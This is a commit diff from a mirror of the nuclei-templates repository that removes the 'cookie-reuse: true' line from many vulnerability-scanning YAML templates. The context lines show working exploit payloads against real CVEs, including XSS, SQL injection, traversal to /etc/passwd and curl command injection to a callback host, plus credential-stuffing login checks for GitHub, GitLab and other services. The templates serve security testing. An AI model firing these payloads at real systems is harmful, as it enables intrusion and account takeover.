daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

removed cookie-reuse

patch-1
sandeep 2023-11-26 17:12:15 +05:30
parent 8933d38ed8
commit 3a48ec7681
456 changed files with 0 additions and 456 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
http/credential-stuffing/cloud/atechmedia-codebase-login-check.yaml
View File

@ -28,7 +28,6 @@ http:
utf8=%E2%9C%93&authenticity_token={{url_encode(authenticity_token)}}&username={{username}}&password={{password}}&commit=Login
cookie-reuse: true
extractors:
- type: xpath

1
http/credential-stuffing/cloud/datadog-login-check.yaml
View File

@ -25,7 +25,6 @@ http:
_authentication_token={{auth_token}}&username={{username}}&password={{password}}
cookie-reuse: true
extractors:
- type: regex

1
http/credential-stuffing/cloud/github-login-check.yaml
View File

@ -27,7 +27,6 @@ http:
commit=Sign+in&authenticity_token={{authenticity_token}}&login={{username}}&password={{password}}&trusted_device=&webauthn-support=supported&webauthn-iuvpaa-support=unsupported&return_to=https%3A%2F%2Fgithub.com%2Flogin&allow_signup=&client_id=&integration=&required_field_34b7=&timestamp={{timestamp}}&timestamp_secret={{timestamp_secret}}
cookie-reuse: true
extractors:
- type: xpath

1
http/credential-stuffing/cloud/postman-login-check.yaml
View File

@ -29,7 +29,6 @@ http:
{"username":"{{username}}","password":"{{password}}"}
cookie-reuse: true
attack: pitchfork
extractors:

1
http/credential-stuffing/self-hosted/gitlab-login-check-self-hosted.yaml
View File

@ -33,7 +33,6 @@ http:
authenticity_token={{url_encode(authenticity_token)}}&user%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&user%5Bremember_me%5D=0
cookie-reuse: true
attack: pitchfork
extractors:

1
http/cves/2015/CVE-2015-2755.yaml
View File

@ -46,7 +46,6 @@ http:
lat=%22%3E+%3Cscript%3E%2B-%2B-1-%2B-%2Balert%28document.domain%29%3C%2Fscript%3E&long=76.26730&lang=en&map_width=500&map_height=300&zoom=7&day_less_five_fare=2&day_more_five_fare=1.5&less_five_fare=3&more_five_fare=2.5&curr_format=%24&submit=Update+Settings
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2015/CVE-2015-4062.yaml
View File

@ -42,7 +42,6 @@ http:
GET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2015/CVE-2015-4063.yaml
View File

@ -41,7 +41,6 @@ http:
GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2015/CVE-2015-9312.yaml
View File

@ -40,7 +40,6 @@ http:
GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2015/CVE-2015-9323.yaml
View File

@ -40,7 +40,6 @@ http:
GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(5))XXX)--+- HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2016/CVE-2016-10940.yaml
View File

@ -45,7 +45,6 @@ http:
GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2016/CVE-2016-10973.yaml
View File

@ -39,7 +39,6 @@ http:
GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-11586.yaml
View File

@ -38,7 +38,6 @@ http:
GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: regex
part: header

1
http/cves/2017/CVE-2017-12138.yaml
View File

@ -37,7 +37,6 @@ http:
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: regex
part: header

1
http/cves/2017/CVE-2017-14622.yaml
View File

@ -41,7 +41,6 @@ http:
GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
redirects: true
matchers:
- type: dsl

1
http/cves/2017/CVE-2017-18487.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18490.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/contact-form-multi/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18491.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/contact-form-plugin/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18492.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18493.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/custom-admin-page/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18494.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18496.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18500.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/social-buttons-pack/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18501.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18502.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/subscriber/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18505.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18516.yaml
View File

@ -44,7 +44,6 @@ http:
GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18517.yaml
View File

@ -44,7 +44,6 @@ http:
GET /wp-content/plugins/bws-pinterest/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18518.yaml
View File

@ -44,7 +44,6 @@ http:
GET /wp-content/plugins/bws-smtp/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18527.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/pagination/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18528.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/pdf-print/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18529.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/promobar/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18530.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/rating-bws/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18532.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/realty/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18537.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/visitors-online/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18542.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/zendesk-help-center/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18556.yaml
View File

@ -44,7 +44,6 @@ http:
GET /wp-content/plugins/bws-google-analytics/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18557.yaml
View File

@ -44,7 +44,6 @@ http:
GET /wp-content/plugins/bws-google-maps/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18558.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/bws-testimonials/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18562.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/error-log-viewer/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18564.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/sender/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18565.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/updater/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2017/CVE-2017-18566.yaml
View File

@ -43,7 +43,6 @@ http:
GET /wp-content/plugins/user-role/readme.txt HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2018/CVE-2018-1000856.yaml
View File

@ -45,7 +45,6 @@ http:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cookie-reuse: true
host-redirects: true
max-redirects: 3

1
http/cves/2018/CVE-2018-11473.yaml
View File

@ -40,7 +40,6 @@ http:
csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2018/CVE-2018-15917.yaml
View File

@ -37,7 +37,6 @@ http:
GET /session/login HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2018/CVE-2018-19136.yaml
View File

@ -39,7 +39,6 @@ http:
GET /assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&del=1 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2018/CVE-2018-19137.yaml
View File

@ -38,7 +38,6 @@ http:
GET /assets/edit/ip-address.php?ipid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&del=1 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2018/CVE-2018-19287.yaml
View File

@ -42,7 +42,6 @@ http:
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2018/CVE-2018-19749.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/account-owners.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-19751.yaml
View File

@ -45,7 +45,6 @@ http:
GET /admin/ssl-fields/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2018/CVE-2018-19752.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/registrars.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2018/CVE-2018-19892.yaml
View File

@ -45,7 +45,6 @@ http:
GET /admin/dw/servers.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 3

1
http/cves/2018/CVE-2018-19914.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/dns.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-19915.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/hosting.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-20009.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/ssl-providers.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-20010.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/ssl-accounts.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-20011.yaml
View File

@ -45,7 +45,6 @@ http:
GET /assets/categories.php HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2018/CVE-2018-20526.yaml
View File

@ -66,7 +66,6 @@ http:
GET /Uploads/{{randstr}}.php7 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2018/CVE-2018-7602.yaml
View File

@ -51,7 +51,6 @@ http:
form_build_id={{form_build_id}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2019/CVE-2019-10405.yaml
View File

@ -35,7 +35,6 @@ http:
GET {{BaseURL}}/whoAmI/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2019/CVE-2019-14530.yaml
View File

@ -40,7 +40,6 @@ http:
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2019/CVE-2019-14750.yaml
View File

@ -56,7 +56,6 @@ http:
Host: {{Hostname}}
redirects: true
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2019/CVE-2019-14789.yaml
View File

@ -41,7 +41,6 @@ http:
GET /wp-admin/admin.php?page=c4p-main&s=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2019/CVE-2019-15642.yaml
View File

@ -63,7 +63,6 @@ http:
- root
stop-at-first-match: true
host-redirects: true
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2019/CVE-2019-15811.yaml
View File

@ -40,7 +40,6 @@ http:
GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2019/CVE-2019-15829.yaml
View File

@ -42,7 +42,6 @@ http:
GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2019/CVE-2019-20224.yaml
View File

@ -42,7 +42,6 @@ http:
date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2019/CVE-2019-2579.yaml
View File

@ -37,7 +37,6 @@ http:
_authkey_={{authkey}}&pagename=OpenMarket%2FXcelerate%2FAdmin%2FWebReferences&op=search&urlsToDelete=&resultsPerPage=25&searchChoice=webroot&searchText=%27+and+%271%27%3D%270+--+
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2019/CVE-2019-3398.yaml
View File

@ -55,7 +55,6 @@ http:
GET /pages/{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2019/CVE-2019-7192.yaml
View File

@ -49,7 +49,6 @@ http:
album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2019/CVE-2019-8390.yaml
View File

@ -47,7 +47,6 @@ http:
search[keywords]=e"><script>alert(document.domain)</script>&search_by_extrafields[]=9
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-10199.yaml
View File

@ -47,7 +47,6 @@ http:
{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2020/CVE-2020-12256.yaml
View File

@ -41,7 +41,6 @@ http:
GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-12259.yaml
View File

@ -41,7 +41,6 @@ http:
GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-13121.yaml
View File

@ -35,7 +35,6 @@ http:
user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
cookie-reuse: true
matchers:
- type: regex
part: header

1
http/cves/2020/CVE-2020-13638.yaml
View File

@ -76,7 +76,6 @@ http:
user={{username}}&pass={{password}}&sublogin=1
cookie-reuse: true
host-redirects: true
matchers-condition: and

1
http/cves/2020/CVE-2020-14144.yaml
View File

@ -65,7 +65,6 @@ http:
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-14864.yaml
View File

@ -31,7 +31,6 @@ http:
- '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1'
- '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-15867.yaml
View File

@ -63,7 +63,6 @@ http:
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-17456.yaml
View File

@ -46,7 +46,6 @@ http:
Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-17463.yaml
View File

@ -54,7 +54,6 @@ http:
password:
- admin
attack: pitchfork
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2020/CVE-2020-17505.yaml
View File

@ -36,7 +36,6 @@ http:
Host: {{Hostname}}
Accept: */*
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-18268.yaml
View File

@ -39,7 +39,6 @@ http:
GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: regex
part: header

1
http/cves/2020/CVE-2020-1956.yaml
View File

@ -44,7 +44,6 @@ http:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-20988.yaml
View File

@ -41,7 +41,6 @@ http:
daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers:

1
http/cves/2020/CVE-2020-2103.yaml
View File

@ -37,7 +37,6 @@ http:
GET {{BaseURL}}/whoAmI/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-23697.yaml
View File

@ -50,7 +50,6 @@ http:
GET /{{string}} HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:

1
http/cves/2020/CVE-2020-24391.yaml
View File

@ -41,7 +41,6 @@ http:
GET /public/css/{{randstr}}.css HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-28185.yaml
View File

@ -43,7 +43,6 @@ http:
tab=checkuser&username=admin
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-29583.yaml
View File

@ -39,7 +39,6 @@ http:
GET /ext-js/index.html HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-35749.yaml
View File

@ -41,7 +41,6 @@ http:
GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:

1
http/cves/2020/CVE-2020-35984.yaml
View File

@ -46,7 +46,6 @@ http:
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test
cookie-reuse: true
redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-35985.yaml
View File

@ -45,7 +45,6 @@ http:
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test
cookie-reuse: true
redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-35986.yaml
View File

@ -46,7 +46,6 @@ http:
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test
cookie-reuse: true
redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-35987.yaml
View File

@ -45,7 +45,6 @@ http:
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test
cookie-reuse: true
redirects: true
matchers:
- type: dsl

1
http/cves/2020/CVE-2020-5191.yaml
View File

@ -42,7 +42,6 @@ http:
doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2020/CVE-2020-5192.yaml
View File

@ -44,7 +44,6 @@ http:
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
cookie-reuse: true
host-redirects: true
max-redirects: 2

1
http/cves/2020/CVE-2020-8193.yaml
View File

@ -64,7 +64,6 @@ http:
<clipermission></clipermission>
cookie-reuse: true
matchers:
- type: regex
part: body

1
http/cves/2020/CVE-2020-8615.yaml
View File

@ -51,7 +51,6 @@ http:
action=add_new_instructor&first_name={{firstname}}&last_name={{lastname}}&user_login={{user}}&email={{email}}&phone_number=1231231231&password={{pass}}&password_confirmation={{pass}}&tutor_profile_bio=Et+tempore+culpa+n&action=tutor_add_instructor
cookie-reuse: true
matchers:
- type: dsl
dsl:

Some files were not shown because too many files have changed in this diff Show More